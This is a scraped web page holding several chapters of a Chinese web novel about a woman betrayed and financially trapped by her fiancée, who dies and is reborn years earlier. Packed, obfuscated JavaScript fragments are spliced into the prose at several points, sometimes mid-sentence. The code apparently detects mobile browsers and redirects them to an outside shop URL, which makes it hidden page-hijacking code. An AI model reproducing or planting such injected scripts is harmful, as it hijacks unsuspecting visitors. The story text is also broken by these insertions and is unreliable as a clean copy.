d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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脑海里翻来覆去只有一句话—— 怎么会。 当然不会。 她不可能对姜诺宁动情。 她只是……习惯了。 习惯了回家的时候有人在等,习惯了床头永远有一杯温度刚好的水,习惯了衣柜里两个人的衣服挂在一起,习惯了冰箱上贴着“记得吃早饭”的便利贴。 习惯而已。 电梯到了一楼,门开了。 素依睁开眼,大步走出去。 —— 到家的时候,已经是四十分钟以后了。 素依推开门,玄关的灯还亮着,客厅的灯却关着。她低头换鞋,目光扫过鞋柜,姜诺宁的拖鞋不在。 “宁宁?” 没有人应。 她往里走了几步,忽然顿住了。 客厅里,放着三个行李箱。 两个大的,一个小的,并排摆在沙发旁边。箱子的拉链已经拉好,上面还搭着一件姜诺宁常穿的外套。 素依的心猛地沉了一下。 她快步走向卧室。 卧室的门开着,灯亮着。姜诺宁站在衣帽间里,正在从衣柜里往外拿衣服。她正把衣架上的裙子一件件取下来,叠好,放进旁边的行李箱里。 行李箱已经装了大半。 素依站在门口,看着那个背影。 姜诺宁穿着一件白色的家居服,头发还没完全干,披散在肩上。她的动作很轻,很安静。 “宁宁?”素依开口,声音有些紧。 姜诺宁的手顿了一下,但没有回头。 “你回来了。” 素依走进衣帽间,站在她身后。 “你在干什么?” 姜诺宁把手里那条裙子叠好,放进箱子。然后直起身,转过身来,面对着她。 素依看见她的眼睛。 红红的,肿肿的,像是哭过很久。 衣帽间的灯光很亮,亮得有些刺眼。 “素依,”姜诺宁说,“我们退婚吧。” 素依觉得自己的耳朵出了问题。 她盯着姜诺宁的脸,试图从那上面找到一丝开玩笑的痕迹。可没有。姜诺宁看着她的眼神,认真得让人心慌。 “你说什么?” “退婚。”姜诺宁重复了一遍,声音不大,却很清晰,“我们解除婚约。” 她一边说,一边低下头,右手覆上左手无名指,指尖捏住戒壁,动作很慢——慢到素依能看清她手指在发抖,慢到能听见金属滑过指节时那一丝极细微的声响。 戒指被褪了下来。 姜诺宁把它放在旁边的柜子上,轻轻一声磕碰,像敲在了素依的心上。 4. 第 4 章 空气像被冻住了,衣帽间的灯光白得刺眼。 柜子上那枚戒指安静地躺着,钻石折出的光落在素依脚边,一小片冷白色,像碎掉的月亮。 “宁宁,”她终于开口,声音压得很低,像是在哄一个闹脾气的小孩,“你这是在干什么?” 素宁往前走了一步,伸手想去握她的手,被姜诺宁避开了。她的手僵在半空,停了一瞬,然后收回来,脸上的表情从震惊慢慢调整成一种包容的温柔。 “是不是我最近太忙了,忽略你了?”她的声音软下来,带着恰到好处的自责,“这段时间项目太多,我确实没怎么陪你,你生气也是应该的。” 姜诺宁没有说话。 “我知道你委屈了,”素依又往前走了一步,这次没有伸手,只是看着她的眼睛,“等我忙完这阵子,我们出去散散心好不好?你不是还想去冰岛看极光吗?这次我陪你。” 姜诺宁依然没有说话。她就那样站着,看着素依的脸——这张她看了十二年的脸。眉眼还是那个眉眼,鼻梁还是那个鼻梁,可此刻那张脸上的每一寸肌肉、每一个表情,都像是精心计算过的。 温柔是计算过的,自责是计算过的,连说话的语速和停顿都是计算过的。 “……宁宁,你听我说,”素依还在说,“公司最近确实事情多,我压力也大,有时候说话做事可能不太周到,但我心里是有你的。我们在一起这么多年,难道你还信不过我吗?还不明白我这么努力不就是为了配得上你,让那些质疑的人闭嘴吗?” 姜诺宁的眼神一点点冷了下去。 “是,你很忙,”她的声音很轻,“忙着和她在一起。” 素依的表情僵住了。那一瞬间,她脸上所有的表情像被按下了暂停键,凝固成一张滑稽的面具。 衣帽间里安静得能听见墙上时钟走动的声音。 过了很久,素依开口了,“你看见了。” 姜诺宁点头:“我看见了。” 素依沉默下来。她低下头,看着自己的手指。那枚订婚戒指还戴在无名指上,和柜子上那枚是一对。她转了转戒壁,动作很慢,像是在思考什么。 然后她抬起头。 姜诺宁看见她的眼神变了。 那层温柔而耐心的外衣像蛇蜕皮一样从她身上剥落,露出底下真正的底色。 “宁宁,”素依的声音变得平淡,“你冷静一点。我们已经不是十七岁了,要顾虑很多事情。” “订婚的消息已经散出去了,人尽皆知,现在退婚,对公司的影响有多大,你应该清楚。股价会跌,董事会会有意见,那些合作方怎么看我们?你也不想看到姜家这么多年的基业,因为你一时的冲动受影响,对吧?” 她说得条理清晰,头头是道,像是在做一场无懈可击的汇报。 姜诺宁看着她,忽然觉得眼前这个人很陌生。 陌生到她不认识。 素依见她没有说话,以为她动摇了,语气又软了几分。 “还有妈,”她说,“她的心脏不好,受不了刺激。如果知道你——” 话没说完。 一声脆响。 姜诺宁的手停在半空,掌心火辣辣地疼。她居然用妈妈来威胁自己! 素依的脸被打偏向一侧,头发散下来,遮住了半边脸。 空气凝固了。 素依慢慢转过头,看着姜诺宁,过了好一会儿,她抬手摸了摸被打的脸颊,嘴角弯了一下。 “脾气发了也发了,很多事情,你好好想想。” 她看着姜诺宁的眼睛,一字一句地说:“宁宁,我说过,我们不再是少年时了。我不再是那个穷学生,而你也不再是高高在上的大小姐。” 她往前站了一步,离姜诺宁很近,带着一种居高临下的审视。 “该回到人间了。” 素依说完,转身走了出去。高跟鞋踩在地板上,笃笃笃,每一步都稳稳当当,不急不缓。 衣帽间里只剩下姜诺宁一个人。 她站在原地,浑身的力气像被抽空了。她低头看着自己的手,掌心还是红的,微微发麻。 她慢慢蹲下来,抱住自己的膝盖。衣帽间的灯光还是那么亮,亮得无处可躲,亮得她能看清空气里漂浮的每一粒尘埃。 过了很久,她站起来。 她把最后几件衣服放进箱子,拉好拉链。三个行李箱整整齐齐地摆在衣帽间里,像三座小小的坟墓,埋葬着她十二年的青春。 她拿出手机,给司机打电话。 电话响了好几声才接。 “喂,小姐……”司机的声音有些犹豫,吞吞吐吐的。 “老周,麻烦你来一趟,帮我搬点东西。” 电话那头沉默了几秒。 “那个……小姐,素总刚才交代过……说您要是用车的话,得她点头才行……” 姜诺宁握着手机的手指收紧。 司机的声音越说越小,“她说……您最近情绪不太稳定,怕您出事,让您先在家休息几天……” 姜诺宁闭上眼睛。 她挂断电话。 她站在客厅里,看着这三个行李箱。这个家她住了三年,每一件家具都是她挑的,墙上的画是她画的,冰箱上的便利贴是她写的。可此刻,这一切突然变得陌生起来。 她咬着嘴唇,翻开通讯录。 手指在屏幕上滑了很久,最后停在一个名字上:鹿凉月。 电话响了两声就接了。 “宁宁?”鹿凉月的声音带着几分意外,背景是轰鸣的音乐声,“这么晚了,怎么了?” “凉月,你能来接我一下吗?” 电话那边安静了一秒。 “你在哪儿?” “家里。” “行,等我。” 鹿凉月来的时候,姜诺宁已经把行李箱都搬到了玄关。 门没锁,鹿凉月推门进来,一眼就看见了那三个箱子以及一身白色家居服的姜诺宁,她的头发还没干透,脸色白得有些吓人,眼睛红肿着。 鹿凉月的脚步顿了一下,嘴里嚼着口香糖,上下打量了她一番。 “不是吧,宁宁,怎么了这是,闹这么大动静?” 姜诺宁:“我要搬走。” “啊?搬——走——?什么事儿啊,闹成这样,至于吗?” 姜诺宁正在拉行李箱的拉链,动作停了一下。她抬起头,看着鹿凉月。 她重复了一遍这三个字,“至于吗?” 鹿凉月被她那个眼神看得有些不自在,移开了视线,讪讪地摸了摸鼻子。 “我就是说……你们在一起这么多年了,有什么话不能好好说……” 姜诺宁没有移开视线,只是看着她。 “凉月,”她说,“你早就知道了,是不是?” 鹿凉月的口香糖不嚼了。她站在原地,脸上的表情变了又变,“宁宁,我……” 姜诺宁目光犀利,“你知道多久了?” 鹿凉月沉默了一会儿,知道瞒不了,“有一阵子了。”她声音低了下去,“但我以为……她会收手的。我以为她只是一时糊涂,她对你的感情是真的……” 她说不下去了,因为姜诺宁在看着她。 那双眼睛很好看,素依夸过,鹿凉月也夸过,此刻里面没有愤怒,没有质问,只有浓浓的失望。 “宁宁,我真的以为她会回头……”鹿凉月的声音有些急了,“我不是想瞒着你,我是怕你受不了……” 姜诺宁没有回答。 她低下头,把行李箱的拉链拉好,然后直起身。 “谢谢你为我考虑,”她一字一顿地说着:“我——最——好——的——朋——友。” 她拉起最大的那个行李箱,往门口走。 鹿凉月愣在原地,看着她的背影,她张了张嘴,最终还是什么都没说,默默地拎起另外两个箱子,跟在她身后。 —— 车驶出小区的时候,姜诺宁坐在副驾驶上,看着窗外倒退的街景。 “去哪儿?”鹿凉月问。 姜诺宁想了想。 她想回妈妈那里。可妈妈心脏不好,她不能让她担心。 “去西区别墅吧。” 鹿凉月点了点头,打了转向灯。车子驶出小区的时候,她犹豫了一下,拿起手机,发了一条消息。 【她想去西区别墅。】 发送完之后,凉月把手机翻过去,屏幕朝下扣在腿上,她有把柄在素依手里,不得不如此。 车子驶过两条街,鹿凉月的手机响了一声。她瞥了一眼屏幕,表情变了一下,没有接。 又过了几分钟,姜诺宁的手机也震了一下。 是一条微信消息,来自素依:【宁宁,你先冷静几天。西区别墅我租出去了,你别白跑一趟。】 姜诺宁看着那条消息,手指冰凉。 租出去了。 什么时候租的?谁签的合同?租金打到了谁的账上? “凉月,”她放下手机,声音有些哑,“西区别墅不能去了,先去附近的酒店吧。” 鹿凉月握着方向盘的手指紧了紧,“……好。” —— 姜诺宁站在前台,拿出自己的信用卡递过去。前台刷了一下,礼貌地递回来。 “女士,这张卡用不了,您换一张?” 姜诺宁愣了一下,又拿出一张。 还是用不了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387987|200288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >信用卡全部被冻结了。 她站在那里,手里捏着那张卡,前台小姐还在微笑着等她。灯光很亮,大堂里有人在说话,有行李箱滚轮碾过大理石地面的声音,有小孩子跑来跑去的笑声。 她忽然觉得这一切很荒谬。 原来,素依早就在筹谋算计了。 鹿凉月从她手里抽走那张卡,把自己的递过去。 “我来,要套房。” “不用。”姜诺宁避开她的手,声音很淡。她从包里翻出现金,一张一张地数,递给前台,“普通间,一晚。” 鹿凉月的手僵在半空,看着她数钱的动作,喉咙像被什么东西堵住了。 前台小姐接过现金,低头开单。姜诺宁站在那里,等着,表情很平静。 进了房间,鹿凉月帮她把行李箱放好,站在门口,欲言又止。 “宁宁……” “凉月,”姜诺宁坐在床边,抬起头看着她,“你先回去吧。我想一个人待会儿。” 鹿凉月看了她很久,最终点了点头。 “有什么事给我打电话。”她走到门口,停下来,觉得自己所有的解释都苍白得像一张白纸,“对不起……” 门关上了。 房间里安静下来。窗帘是拉上的,只留了一条缝,外面的霓虹灯光从缝隙里挤进来,在天花板上投下一小片红色。 姜诺宁坐在床边,没有动。 愤怒、委屈、不甘、心痛所有的情绪像退潮一样,一层一层地被压下去了。 她拿出手机,翻开通讯录。 一个一个地往下翻。 不是求助。是试探——她要确定自己的怀疑,到底是不是真的。 陈叔叔。爸爸的老朋友,姜氏集团的元老。她拨过去,电话响了三声,接了。 “诺宁啊,这么晚了,有什么事吗?”声音很热情,热情得有些过分。 “陈叔叔,我想问一下……” “哎呀,我这边信号不太好……”电话那头的声音忽然变得断断续续的,“诺宁,你发消息吧,我先挂了……” 嘟——嘟——嘟—— 姜诺宁握着手机,听着忙音。 她没有发消息。 她又翻了一个。李总。妈妈那边的亲戚,从小看着她长大的。 电话接通了。 “诺宁?”那边的声音带着几分警惕,“听说你跟素依吵架了?年轻人嘛,哪有不吵架的,过两天就好了。素依那个人,能力强,对你也好,你别太任性了……” 姜诺宁挂了电话。 听说?她能听谁说。 她又打了几个。 有的不接,有的接了说不了两句就找借口挂断,有的干脆直接说“诺宁,这个事情我不方便掺和”。 最后一个电话,是她妈妈的一个老姐妹,从小最疼她的王姨。 “宁宁啊,”王姨的声音很低,像是怕被人听见,“阿姨跟你说句实话……之前啊,素依提前跟大家打过招呼,说你最近情绪不太稳定,可能会说一些冲动的话、做一些冲动的事,让大家多担待。她跟大家说,不管你说什么,都先别答应,等她先把你安抚好了再说……” 王姨顿了顿,叹了口气。 “宁宁,她现在手伸得太长了,大家都怕得罪她……阿姨也想帮你,可阿姨……阿姨也没办法啊……” 电话挂断后,姜诺宁把手机放在床头柜上。 房间里很暗,只有那一小片霓虹灯光在天花板上晃动,暗红色的,像一只半睁的眼睛。 她的目光落在墙角。 那里有一只蜘蛛,正在织网。 很小的一只,不仔细看根本看不见。它从墙角的一端拉到另一端,吐出一根丝,固定好,再爬回来,吐出另一根。动作很慢,但很有条理,一圈一圈,一层一层,把那个角落织成一张密不透风的网。 那张网已经织了大半了。蜘蛛停在中间,八条腿微微张开,像一个坐在王座上的君王,俯瞰着自己织出的疆域。 一只飞虫不知道从哪里钻进来,翅膀上沾着细碎的鳞粉,在霓虹灯光下泛出彩虹色的光泽。它漂亮极了,翅缘镶着一圈金边,身体纤细修长,像一枚被精心雕琢的琥珀。 它绕着灯光飞了两圈,姿态轻盈,像是在跳舞,又转了一圈,翅膀上的鳞粉在空气里飘散,星星点点,像碎掉的星屑。然后它一头扎了进去。 蛛丝猛地收紧。 蜘蛛动了。 它不紧不慢地爬过去,八条腿踩在丝线上,连震动都没有,爬到飞蛾面前,停下来,似乎在欣赏自己的猎物。 飞虫太美了,连挣扎都是好看的。翅膀在丝线间扑扇了几下,鳞粉簌簌地落,像一场无声的烟火。 5. 第 5 章 姜诺宁坐在酒店床边,一动不动。 她闭上眼睛。 脑海里开始倒带。 她从什么时候开始,把一切都交出去的? 第一次把银行卡交给素依时,姜臣去世的突然,公司一团乱麻。素依每天陪着她去处理各种手续,跑银行、跑工商、跑税务。姜诺宁什么都不懂,每次被问到股权结构、资产配置之类的问题,她都像个被老师点起来回答不上问题的学生,手足无措地站在那里。 有一天晚上,她们从银行出来,素依在车上对她说:“宁宁,你要是不懂这些,就交给我来处理吧。” 她的语气很宠溺,像在哄一个不想做作业的孩子,“我学得快,也喜欢这些东西。你专心做你喜欢的事,画画、弹琴、逛街,那些烦心事我来扛。” 姜诺宁当时坐在副驾驶上,看着素依的侧脸。路灯的光从车窗外照进来,在她的轮廓上镀了一层暖黄色的边。她表情认真,眉眼间全是值得托付的笃定,像一座可以为她挡住所有风雨的港湾。 …… 后来就越来越顺理成章了。 她记得自己签第一份股权转让书时的情景。素依把文件递过来,笔帽已经拧开了,笔尖朝向她,手柄朝外。 “签这儿就行,”素依指了指签字栏,声音轻得像在哄睡,“其他的我都帮你填好了。这样我好处理事情,不用次次都折腾你过来了。” 姜诺宁低头看了一眼那些密密麻麻的条款,正要细看,素依的手搭在她肩膀上,拇指轻轻摩挲着她的后颈。那触感太舒服了,舒服到让她放松了所有的警惕。 每一次“相信”,都是一根丝线。每一根丝线,都被素依接过去,缠紧,固定。一年,两年,五年,十年——十二年。 那张网,从十七岁那年夏天就开始织了。 姜诺宁睁开眼睛,看着天花板。 天已经亮了。 她坐直身体,拿起手机,翻开备忘录,开始一条一条地梳理自己现在能处置的资产。 股份、房产、存款、现金流…… 她把每一项都列在备忘录里,能动的并不多。 素宁早已在方方面面掌控了她,无孔不入。 除了财务,最重要的是妈妈那边。 徐莉的心脏一直不好。姜臣去世那段时间,她住了两次院,医生说是应激性心肌病,俗称“心碎综合征”。后来慢慢养好了,但底子一直没恢复,不能受刺激,不能情绪波动太大。 这件事不能从别人嘴里传到妈妈那里。要挑一个徐莉身体好的时候,她自己一点一点地说给她听,最大程度地减少刺激。 她又往下翻,翻到一个名字:周律师。 父亲生前的法律顾问,也是姜家的老朋友。 电话打通了。好在素依的触角还没有伸到那么远,周律师痛快地答应了见面。 姜诺宁挂了电话,站起来。她走到洗手间,拧开水龙头,冷水浇在脸上,激得她打了个寒颤。她抬起头,看着镜子里自己的脸——苍白,浮肿,眼睛下面两道深深的青黑色。 她深吸一口气,开始洗脸、刷牙、换衣服。 出门前,她拿起手机,看到一条微信消息。 来自素依。 姜诺宁看都没看,按灭屏幕,把手机揣进口袋。 门在身后关上。 —— 同一时刻,素依坐在客厅的沙发上,一根接一根地抽烟。 烟灰缸里已经堆了七八个烟头,烟灰散落在茶几上,房间里弥漫着呛人的烟雾。 窗帘没有拉开,灯也没有开,只有茶几上一盏落地灯亮着,昏黄的光照在素依脸上,把她的五官切割成明暗分明的两半。 她靠在沙发背上,双腿交叠,左手夹着烟,右手拿着手机。屏幕亮着,停留在姜诺宁的对话框。 没有回复。 她把手机翻过去,扣在沙发扶手上,屏幕朝下。 然后她拿起烟,深深地吸了一口,闭上眼睛,靠在沙发背上,吐出一口烟雾。 徐媛媛缩在沙发的另一头,抱着一个靠垫,看着她。 跟她在一起这么多年,见过她发脾气的次数不多,像今天这样周围的气息凝固到冰点的,还是头一回。 徐媛媛小心翼翼地挪了一下位置,清了清嗓子。 “依依。” 素依没有反应。 徐媛媛咬了咬嘴唇,又开口:“依依,你认识沈氏的大小姐么?” 素依的指尖动了一下。 她依然没有看徐媛媛,“沈念微?” “嗯。”徐媛媛点了点头,声音压得很低,“听说她最近跟蒋毅接触频繁。蒋毅那个人你也知道,墙头草,谁给的好处多就往谁那边倒。沈念微要是掺和进来……” 素依皱了皱眉。 沈氏的荣尚集团,江城真正的顶级豪门。姜氏在普通人眼里算大公司,可跟沈家比起来,不过是大象脚边的一只蚂蚁,根本就不是一个级别。沈家的产业横跨地产、金融、科技,在江城的政商两界都有盘根错节的人脉。沈念微她见过几次,在行业峰会上,远远地看过。很年轻,但手腕比她父亲更狠更利落。圈子里的人提起她,用的最多的词是“不好惹”。 “他们见面大概是别的事儿。” 她的心思根本不在上面。满脑子只有一个画面:姜诺宁站在衣帽间里,低着头,把戒指从手指上褪下来。 那个动作很慢。 慢到她现在闭上眼睛还能看见——金属滑过指节的那一瞬间,钻石折射出的那一道光。 那道光的颜色很奇怪。不是白色的,是暖黄色的,像夕阳照在碎玻璃上,又像十七岁那年夏天,姜诺宁在天台上回头看她的眼神。 那时候她们刚认识不久。姜诺宁穿着白色的校服衬衫,袖子挽到手肘,露出一截细细白白的小臂。她趴在栏杆上,风吹起她的马尾,发梢扫过肩胛骨。素依站在她身后,手里端着那盒西瓜。 姜诺宁忽然回过头来。 那双眼睛—— “你眼睛真好看。” 素依当时说那句话的时候,自己都不知道是真心还是假意。也许是真的觉得好看,也许是习惯性地讨好。她从小在爷爷身边长大,讨好人是生存本能。她太知道说什么话能让对方开心了。 但姜诺宁回头看自己的那个眼神,素依记得很清楚。 她有点害羞,有点开心,嘴角想往上翘又不好意思翘,最后低下头,咬了一口西瓜。西瓜汁从嘴角溢出来,顺着下巴滴在校服上,她慌慌张张地去找纸巾,手忙脚乱的样子像一只偷吃了蜜饯又被抓包的小猫。睫毛扑闪扑闪的,耳尖红透了,连咬西瓜的动作都带着一种不自知的笨拙,可爱得让人想把她揉进怀里。 那一刻,素依心里忽然涌上一个念头:好萌,想亲。 素依看了一眼时间。 凌晨六点。 她拿起手机,翻开姜诺宁的对话框,上一条消息还是她发的那句。 没有回复。 素依盯着看了很久。 她开始打字。 【宁宁,我知道你生气——】 删掉。 【我们谈谈——】 删掉。 【你别这样——】 删掉。 她看着那个空白的输入框,手指悬在键盘上方,停了十几秒。 【宁宁,你闹也闹了,打也打了。我知道你心里不好受,但事情已经这样了。你乖乖回来,以前的日子该怎么过还怎么过。你还是姜家的大小姐,该有的东西一样不会少。我会护着你,像以前一样。你想清楚。】 发送。 一分钟。 五分钟。 十分钟。 没有回复。 素依握着手机,屏幕暗下去,她又按亮,暗下去,又按亮,对话框里只有她发出去的两条消息。 她把手机扔在沙发上,站起来。 徐媛媛一直缩在沙发角落里看着她,此刻见她起身,立刻跟着站起来。 “去哪儿?” 素依没有看她,弯腰从茶几上拿起车钥匙。 “去我妈那儿。” 徐媛媛愣住了。 她当然知道这个“妈”指的是谁——素依的父母不在身边,她嘴里的“妈”,从来只有一个人:姜诺宁的妈妈。 徐媛媛脸上的表情变了又变,从震惊到愤怒,又从愤怒压成一种扭曲的不甘。 “你去那儿?”她的声音高了八度,“素依,你疯了吧?你现在还去找她妈干什么?你——” 素依转过头看她。 只是看了一眼,冷得像腊月里从门缝灌进来的风。 徐媛媛的话像被掐住了喉咙,硬生生卡在嗓子眼里。她的嘴唇还在动,却发不出声音,整个人僵在原地,手指攥着沙发套。 素依没有再多说一个字,转身走向门口。 门开了,又关上。 客厅里只剩下徐媛媛一个人。 她站在沙发旁边,抱着手臂,看着那扇关上的门,胸口剧烈地起伏着,嘴唇抿成一条线,眼眶却红了。 她慢慢坐回沙发上,抱住靠垫,把脸埋进去。 她等了这么久,把所有的骄傲和自尊都碾碎了咽进肚子里,以为熬过这一切就能换来一个名分。 可现在她明白了。 在素依成功之后,被踢掉的不仅仅是姜诺宁。 还有她。 她慢慢抬起头,脸上的表情一点一点地变了,眼眶里还含着泪,嘴角的弧度越来越大,大到牵动了脸颊的肌肉,大到那张脸上所有的五官都被这个笑容拽变了形。 她拿起手机,翻开通讯录。 手指悬在屏幕上方,抖了很久。 先是发给了姜诺宁的妈妈徐莉。 她开始打字,一个字一个字地敲,敲得很慢,像在拆一颗炸.弹。 然后她翻到另一个号码,眼里的笑结了冰。 【姜诺宁,她去你妈那儿了。你爸当年怎么没的,真相,你大概不知道,我只是提醒你,别让旧事重演。】 —— 姜诺宁收到这条消息的时候,正在出租车上。 她刚从周律师的事务所出来。周律师告诉她的事情比她预想的更糟——她名下剩余的姜氏股份已经不足10%,大部分都在过去几年里通过各种各样的“转让协议”“代持协议”“赠与协议”转移到了素依名下。 “有些协议,”周律师推了推眼镜,斟酌着用词,“签得……不太谨慎。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“病人疑似突发性心脏骤停,具体情况需要到医院才能确定。请您尽快赶往江城第一人民医院。” 电话挂断,姜诺宁把手机攥在手里,红着眼睛问:“师傅,能不能再快一点?” 司机从后视镜里看了她一眼,踩下油门。 车子冲过一个路口。 然后—— 左侧视野里忽然闯入一道刺目的白光。一辆车从侧面冲出来,速度很快,快到她甚至来不及闭上眼睛。 司机猛地打方向盘,但来不及了。 金属碰撞的声音尖锐得像撕裂天空的闪电。姜诺宁的身体被惯性狠狠甩向一侧,额头撞上车窗玻璃,眼前炸开一片白花花的碎光。安全带的勒痕从肩膀一直烧到腰际,五脏六腑像被一只巨手攥住,猛地拧了一把。 出租车在路面上旋转了半圈,最后撞上护栏,停住了。 碎玻璃从头顶簌簌落下来,像一场冰冷的雨。 姜诺宁趴在座位上,耳朵里嗡嗡直响。有什么温热的东西从额头淌下来,沿着眉骨、沿着鼻梁,一路滑到嘴角。 手机掉在了脚垫上,屏幕碎了,但还亮着。 她弯腰去捡,每动一下都牵动全身的疼痛。肋骨像断了,每一次呼吸都带着尖锐的刺痛,视野被染成模糊的红色,手臂撑在座椅上,抖得厉害,试了很多次,终于触到了手机屏幕的边缘。 “徐莉女士的家属吗?这里是江城第一人民医院急诊科。” 她张了张嘴,发不出任何声音。 “病人送达时已无生命体征,抢救无效。死亡时间,十二时十七分。请您……” 其他的话根本听不见了。手机屏幕暗下去,黑色的镜面里映出一张模糊的、沾满血的、五官被红色液体扭曲过的脸。 姜诺宁沾满了血的手慢慢垂下来,手机从指间滑落,掉在碎玻璃堆里。 “嗒……” 那一声轻响,像有人用指尖敲了一下世界的边缘。 紧接着是一阵嗡鸣。不是从耳朵里传进来的。是从骨头缝里、从血液里、从每一个细胞的深处同时涌上来的。天和地搅在一起。像被人摁进了一个巨大的漩涡。所有的光和声音都被甩出去。只剩下旋转。无休无止地旋转。 姜诺宁觉得自己在下坠。 这是死了么? 她原以为自己会怕。会哭,会喊…… 但没有。 她什么感觉都没有。 没有恐惧,没有不甘,甚至没有想象中的那种撕心裂肺的痛。 只有空。 一种从胸口开始、向四肢蔓延的空。像有什么东西被人从身体里活生生地剜走了,剜得干干净净,连血都没有流一滴。伤口太大了,大到神经都来不及反应,大到身体直接放弃了疼痛这个程序。 原来人痛到极致,是不会疼的。 …… 不知道过了多久,或许是太痛了,连灵魂都以为这就是终点了。 然后—— 光来了。 姜诺宁挣扎着掀起眼皮。 暖白色的天花板。石膏线勾勒的暗纹,窗外透进来的光,在墙上投出一小片细碎的光斑。 这是…… 她的眼睛猛地瞪大,瞳孔骤然收缩。 6. 第 6 章 姜诺宁猛地睁开眼睛。 空气里有消毒水的味道,很淡,混着花香。百合的气味清冽,在消毒水的底色上铺开一层凉意,像冬日清晨推开窗时扑面而来的第一缕风。 她的视线慢慢聚焦。 VIP单人套房,会客区、休息区、监护区用半透明的玻璃推门隔开。窗帘是浅灰色的,半拉着,清晨的光从缝隙里漏进来,薄薄一层,沙发上搭着一条格子毯,叠得整整齐齐。监护仪在床头柜旁边安静地运行着,绿色的波形在屏幕上跳动,发出规律的“嘀——嘀——”声。 这是爸爸昏迷时住的病房。 是她之后时时梦魇的地方。 姜诺宁的心脏在胸腔里擂鼓一样地跳,震得肋骨发疼。她不敢动,不敢转头,甚至不敢用力呼吸,怕一用力,这个梦就醒了。 过了许久,她慢慢地将视线移过去。 病床上,姜臣安静地躺着。他的面色苍白得近乎透明,颧骨高高突起,眼窝深深陷下去,手背上扎着留置针,透明的管子连着床头的监护仪,输液架上挂着一袋还没滴完的药水,透明的液体顺着管路一滴一滴地往下落。 姜诺宁的眼圈红了,她使劲揉了揉眼睛,又掐了一下自己的脸。 疼。 床头柜上放着病历夹,最上面一页的日期栏里,赫然写着:2019年3月24日。 她含着泪笑了。 还活着。 爸爸还活着! 她伸出手,悬空几秒才落在姜臣的手背上。 温热的。 脉搏在指腹下跳动,微弱却真实。 一下,又一下…… 就在这时,床头柜上,手机屏幕亮了一下。 姜诺宁转过头,看见了那部手机——iPhone XS Max,金色的,是当年最新款的。 她拿起来,按亮屏幕。 2019年3月24日,上午七点十二分。 屏幕上还有几条未读消息,最上面一条来自“素素”: 【宁宁,叔叔的情况暂时稳定了,你别太担心,我马上上来找你。】 姜诺宁看着那两个字。 素素。 一股从骨缝里渗出来的寒意像冰水一样漫过全身,她对她甚至已经有了生理性恶心。 姜诺宁想都没想,退出对话框,翻到通讯录里“妈妈”的号码,拨了出去。 电话响了一声就接了。 “宁宁?!”徐莉的声音满是惊恐与不安, “怎么样了?你爸什么时候醒过来?妈妈急死了——” 姜诺宁握着手机的手在发抖,这一次,眼泪根本无法克制地往外涌。 她的爸妈,她最珍贵的,都还在。 一切都来得及。 “宁宁?宁宁!你别吓妈妈——是不是你爸——”电话那头传来什么东西碰倒的声音,徐莉的声音更急了,“妈,”姜诺宁终于挤出一个字,声音嘶哑得不像自己的,“爸没事,你们都会没事儿。” 这句话说得没头没尾,莫名得很。徐莉在电话那头愣了一下,随即更急了:“你说什么胡话呢?什么你们都会没事儿?宁宁,你是不是没睡好?妈妈现在就过去,你等着,我心脏没事儿,你别拦我——” “妈,你别过来添乱,我爸现在这样,你再过来,我怎么照顾得了?” …… 电话挂了。 姜诺宁情绪渐渐平复下来,她靠在椅背上,开始回忆。 2019年3月,素依在姜氏集团的位置是市场部总监。这个位置是姜臣出事前半年给她提上去的——准确地说,是她求来的。那时候姜臣本来属意另一个人选,是姜诺宁在饭桌上替素依说了话,拉着姜臣的胳膊撒娇,说“爸,素素能力那么强,你就给她个机会嘛”。 姜臣一直不太喜欢素依,从见第一面起,他就对女儿说:“这个女孩不简单,做什么事儿,都别有用心,如果是朋友,爸爸不说什么,爱人,我绝不同意。” 姜诺宁那时候不懂。她觉得爸爸对素素有偏见,是因为素依家里的情况太糟糕。 姜臣沉默了很久,最后只说了一句话:“宁宁,爸爸看人,从来不看家世。” 她当时不明白这句话的意思。 现在她明白了。 姜臣看的是人心。 而她,被爱情蒙住了眼睛,瞎子一样。 姜臣住院后,公司的日常事务基本由副总裁蒋毅代管,但素依以“准女婿”的身份深度介入了很多事情,包括姜臣的医疗方案。 主治医生是谁,用哪种治疗方案,要不要转院,都是素依替她做的。 是她亲手把刀递到素依手里,再握着她的手,对准自己的胸口。 一切都是她咎由自取。 姜诺宁睁开眼睛,目光落在输液架上那袋药水上,透明的液体一滴一滴地往下落,每一滴都像在提醒她:时间不多了。 这时候,门外出来了脚步声。 笃,笃,笃,由远及近,在病房门口停下了。 素依推开门走了进来,她穿着一件浅灰色的风衣,里面是白色衬衫,领口系着一条细窄的丝巾,头发扎成低马尾,露出一截白皙的脖颈,脸上带着疲惫,却丝毫不影响她的好看。 她看见姜诺宁坐在病床边,先是舒了一口气,然后眉头微微皱起来,语气里带着心疼和责备。 “你怎么不接电话?我给你打了三个,你一个都没接。我以为你出什么事了——” 她一边说,一边快步走过来,目光在姜诺宁脸上停了一秒,看见她红红的眼眶和湿漉漉的睫毛,刻露出心疼的表情,张开手臂就要抱她。 姜诺宁本能地往旁边侧了一下。 那个拥抱落了空。 素依的手臂僵在半空,她的表情凝固了一瞬,“怎么了?” 姜诺宁努力隐忍着反感。现在她的银行卡、她的股权、她名下大部分资产,都还和素依捆绑在一起。爸爸还躺在病床上,公司还在素依的势力范围内,她不能太快地打草惊蛇。 她低下头,用手指揉了揉太阳穴,声音沙哑地说:“我有点累……头也疼。昨晚没睡好,一直在做噩梦。” 素依的表情立刻柔和下来,她伸出手,轻轻摸了摸姜诺宁的头发。 姜诺宁抿了抿唇,如果可以,她想把素依的手拧断。 